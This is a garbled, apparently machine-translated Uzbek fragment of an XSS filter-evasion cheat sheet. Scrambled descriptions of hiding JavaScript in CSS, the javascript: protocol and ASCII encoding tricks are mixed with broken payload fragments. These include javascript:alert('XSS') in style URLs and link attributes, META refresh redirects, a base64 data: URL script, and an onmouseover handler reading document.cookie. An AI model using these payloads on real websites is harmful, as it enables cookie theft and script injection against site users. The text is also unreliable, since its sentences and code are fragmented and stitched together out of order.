Foydalanish uslubi
fon
agar uy egasi AQShga uzatayotgan bo'lsa
Xususiyat
CSS fayliga JS skriptini yozing.
preprocessor @import
i
in'ektsiyani yashirish
Foydalanish uslubi
Uslublar jadvalini ga o'zgartirish
ko'p filtrlarni chetlab o'tish
i
kodlash. 7 bitli ASCII
JS skriptini CSS fayliga yozing
uchun
javascript:
foydalanish
va protokol
ASCII kodlash
NetScape va IE da ishlaydi
CSS fayliga JS skriptini yozing
STYLE
kontent, lekin faqat ishlaydi
javascript
foydalanish
o'rniga 8. Bu XSS mumkin
fikr bildirish,
ramzi
javascript protokoli:
22
Noto'g'ri ishlatilgan
va teg bilan qo'shish
i
fon tasviri
REL=uslublar jadvali">
HREF="javascript:alert('XSS');">
YLE>
type="text/css">BODY{background:url("javascript:
>
image:url("javascript:alert('XSS')");}
¼skript¾ogohlantirish(¢XSS¢)¼/skript¾
Content="
;
CLASS=XSS>
ishlatilgan,
SRC="javascript:alert('XSS');">
URL=http://;URL=javascript:alert('XSS');">
CONTENT="0;url=javascript:alert('XSS');">
>
CONTENT="0;url=data:text/html
onmouseover="alert(document.cookie)">base64, PHNjcmlwdD5hbGVydCgnWFNTJyk8L3Nj
cmlwdD4K">
Machine Translated by Google